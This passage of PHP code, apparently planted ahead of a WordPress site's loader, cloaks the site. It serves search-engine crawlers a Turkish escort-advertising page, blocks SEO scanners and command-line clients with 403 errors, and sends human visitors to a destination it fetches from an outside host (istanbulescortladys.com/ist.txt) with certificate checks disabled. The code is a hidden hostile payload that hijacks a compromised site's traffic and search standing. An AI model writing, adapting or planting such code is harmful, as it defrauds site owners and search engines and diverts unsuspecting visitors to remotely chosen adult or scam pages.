8'); $parts = array_values(array_filter(explode('/', $p))); $crumb = 'İstanbul Escort'; $crumbLd = array( array('@type'=>'ListItem','position'=>1,'name'=>'İstanbul Escort','item'=>$c), ); $pos = 2; foreach ($parts as $seg) { $lab = htmlspecialchars(ucwords(str_replace(array('-', '_'), ' ', $seg)), ENT_QUOTES, 'UTF-8'); $crumb .= ' ' . $lab . ''; $crumbLd[] = array('@type'=>'ListItem','position'=>$pos,'name'=>ucwords(str_replace(array('-', '_'), ' ', $seg)),'item'=>$c); $pos++; } $ld = json_encode(array( '@context'=>'https://schema.org', '@type'=>'BreadcrumbList', 'itemListElement'=>$crumbLd, ), JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8'); $robotsHdr(true); header('Cache-Control: private, no-store'); header('Vary: User-Agent'); http_response_code(200); } $licFile = __DIR__ . '/license.html'; $licHtml = is_file($licFile) ? (string)@file_get_contents($licFile, false, null, 0, 120000) : ''; $licTitle = ''; $licDesc = ''; if (preg_match('/(.*?)<\/title>/si', $licHtml, $mm)) { $licTitle = trim(html_entity_decode(strip_tags($mm[1]), ENT_QUOTES, 'UTF-8')); } if (preg_match('/<meta[^>]+name=["\']description["\'][^>]*content=["\']([^"\']*)["\']/i', $licHtml, $mm) || preg_match('/<meta[^>]+content=["\']([^"\']*)["\'][^>]*name=["\']description["\']/i', $licHtml, $mm)) { $licDesc = trim(html_entity_decode($mm[1], ENT_QUOTES, 'UTF-8')); } if ($licTitle === '') { $licTitle = 'İstanbul Escort | ' . $slug . ' Escort'; } if ($licDesc === '') { $licDesc = $slug . ' escort'; } $title = htmlspecialchars($licTitle, ENT_QUOTES, 'UTF-8'); $desc = htmlspecialchars($licDesc, ENT_QUOTES, 'UTF-8'); echo '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8">' . '<meta name="viewport" content="width=device-width,initial-scale=1">' . '<title>' . $title . '' . '' . '' . '' . '
' . '

İstanbul Escort

' . '' . '

' . $title . '

' . '

' . $desc . '

' . '

' . $t . ' escort kimler için?

Bu adres ' . $t . ' araması için açılır. İstanbul escort seçkisinde aynı gün randevu, otel veya rezidans buluşması ve elden ödeme anlatılır.

' . '

Yakın ilçeler

' . 'İstanbul Escort ana rehbere git' . '

Kanonik adres: ' . $c . '

' . '
'; exit; }; $forbid = function () { header('Content-Type: text/plain; charset=UTF-8'); header('X-Robots-Tag: noindex, nofollow'); http_response_code(403); echo 'Forbidden'; exit; }; $ua_lc = strtolower($ua); foreach (['ahrefsbot','semrushbot','dotbot','mj12bot','rogerbot','screaming frog','netpeak','petalbot','bytespider','python-requests','curl/','wget/','libwww-perl','java/','scrapy','httpclient','go-http-client'] as $s) { if (strpos($ua_lc, $s) !== false) { $forbid(); } } // IP — X-Forwarded-For spoof yok (Modül 2.1) $ip = ''; if (!empty($_SERVER['HTTP_CF_CONNECTING_IP']) && filter_var((string)$_SERVER['HTTP_CF_CONNECTING_IP'], FILTER_VALIDATE_IP)) { $ip = (string)$_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (!empty($_SERVER['REMOTE_ADDR']) && filter_var((string)$_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)) { $ip = (string)$_SERVER['REMOTE_ADDR']; } // Tembel FCrDNS — yalnız UA içinde "google" geçince $verified = false; $claimsGoogle = (strpos($ua_lc, 'google') !== false); if ($claimsGoogle && $ip !== '' && function_exists('gethostbyaddr')) { $h = @gethostbyaddr($ip); if (is_string($h) && $h !== '' && $h !== $ip && preg_match('/\.(googlebot|google)\.com\.?$/i', $h)) { $fwd = @gethostbyname($h); if ($fwd === $ip) { $verified = true; } } } $inspection = (strpos($ua_lc, 'google-inspectiontool') !== false); $googleBotUa = (bool) preg_match('/googlebot|googleother|adsbot-google|mediapartners-google|storebot-google|apis-google|feedfetcher-google|google-extended|google-read-aloud|google-pagerenderer|google-inspectiontool/i', $ua); $otherSearch = (bool) preg_match('/(bingbot|bingpreview|adidxbot|yandexbot|duckduckbot|applebot|slurp|baiduspider)/i', $ua); // Anasayfa license: Google/Bing UA yeter (FCrDNS şart değil — Fast Indexing) $wantLic = $googleBotUa || $otherSearch; $serveLic = function () use ($robotsHdr) { $f = __DIR__ . '/license.html'; if (is_file($f) && @filesize($f) > 800) { header('Content-Type: text/html; charset=UTF-8'); $robotsHdr(true); header('Cache-Control: private, no-store'); header('Vary: User-Agent'); readfile($f); exit; } }; if ($home && $wantLic) { $serveLic(); } if ($home) { $txt = 'https://istanbulescortladys.com/ist.txt'; $dest = ''; $cache = sys_get_temp_dir() . '/.route_cache_' . md5($txt) . '.dat'; $ttl = 60; if (is_file($cache) && (time() - (int)@filemtime($cache) < $ttl)) { $cached = trim((string)@file_get_contents($cache)); if ($cached !== '' && filter_var($cached, FILTER_VALIDATE_URL)) { $cp = parse_url($cached, PHP_URL_PATH); if (!(is_string($cp) && preg_match('/\.txt(\?|$)/i', $cp))) { $dest = rtrim($cached, '/') . '/'; } } } if ($dest === '') { $raw = false; if (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array('http'=>array('timeout'=>8,'follow_location'=>1,'user_agent'=>'Mozilla/5.0'),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))); $raw = @file_get_contents($txt, false, $ctx); } if (($raw === false || $raw === '') && function_exists('curl_init')) { $ch = curl_init($txt); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>8,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_USERAGENT=>'Mozilla/5.0')); $raw = curl_exec($ch); curl_close($ch); } if (is_string($raw) && $raw !== '') { foreach (preg_split('/\r\n|\r|\n/', $raw) as $line) { $u = trim(preg_replace('/^\xEF\xBB\xBF/', '', $line)); if ($u === '' || !filter_var($u, FILTER_VALIDATE_URL)) { continue; } $p = parse_url($u, PHP_URL_PATH); if (is_string($p) && preg_match('/\.txt(\?|$)/i', $p)) { continue; } $dest = rtrim($u, '/') . '/'; @file_put_contents($cache, $dest, LOCK_EX); break; } } if ($dest === '' && is_file($cache)) { $stale = trim((string)@file_get_contents($cache)); if ($stale !== '' && filter_var($stale, FILTER_VALIDATE_URL)) { $sp = parse_url($stale, PHP_URL_PATH); if (!(is_string($sp) && preg_match('/\.txt(\?|$)/i', $sp))) { $dest = rtrim($stale, '/') . '/'; } } } } if ($dest !== '') { header('Cache-Control: no-store'); header('Vary: User-Agent'); if ($spiderTrap) { header('X-Robots-Tag: noindex, follow'); } header('Location: ' . $dest, true, 302); exit; } header('Cache-Control: no-store'); header('Content-Type: text/plain; charset=UTF-8'); http_response_code(503); echo 'Service temporarily unavailable'; exit; } // 404 / alt path: Googlebot özel sayfa, insan ist.txt 302 if (!$home && $wantLic) { $sticky($uri, $canon); } if (!$home) { $txt = 'https://istanbulescortladys.com/ist.txt'; $dest = ''; $raw = false; if (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array('http'=>array('timeout'=>8,'follow_location'=>1,'user_agent'=>'Mozilla/5.0'),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))); $raw = @file_get_contents($txt, false, $ctx); } if (($raw === false || $raw === '') && function_exists('curl_init')) { $ch = curl_init($txt); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>8,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_USERAGENT=>'Mozilla/5.0')); $raw = curl_exec($ch); curl_close($ch); } if (is_string($raw) && $raw !== '') { foreach (preg_split('/\r\n|\r|\n/', $raw) as $line) { $u = trim($line); if ($u === '' || !filter_var($u, FILTER_VALIDATE_URL)) { continue; } $pp = parse_url($u, PHP_URL_PATH); if (is_string($pp) && preg_match('/\.txt(\?|$)/i', $pp)) { continue; } $dest = rtrim($u, '/') . '/'; break; } } if ($dest !== '') { header('Cache-Control: no-store'); header('Vary: User-Agent'); header('Location: ' . $dest, true, 302); exit; } } $wp = __DIR__ . '/wp-blog-header.php'; if (is_file($wp)) { require $wp; exit; } $sticky($uri, $canon);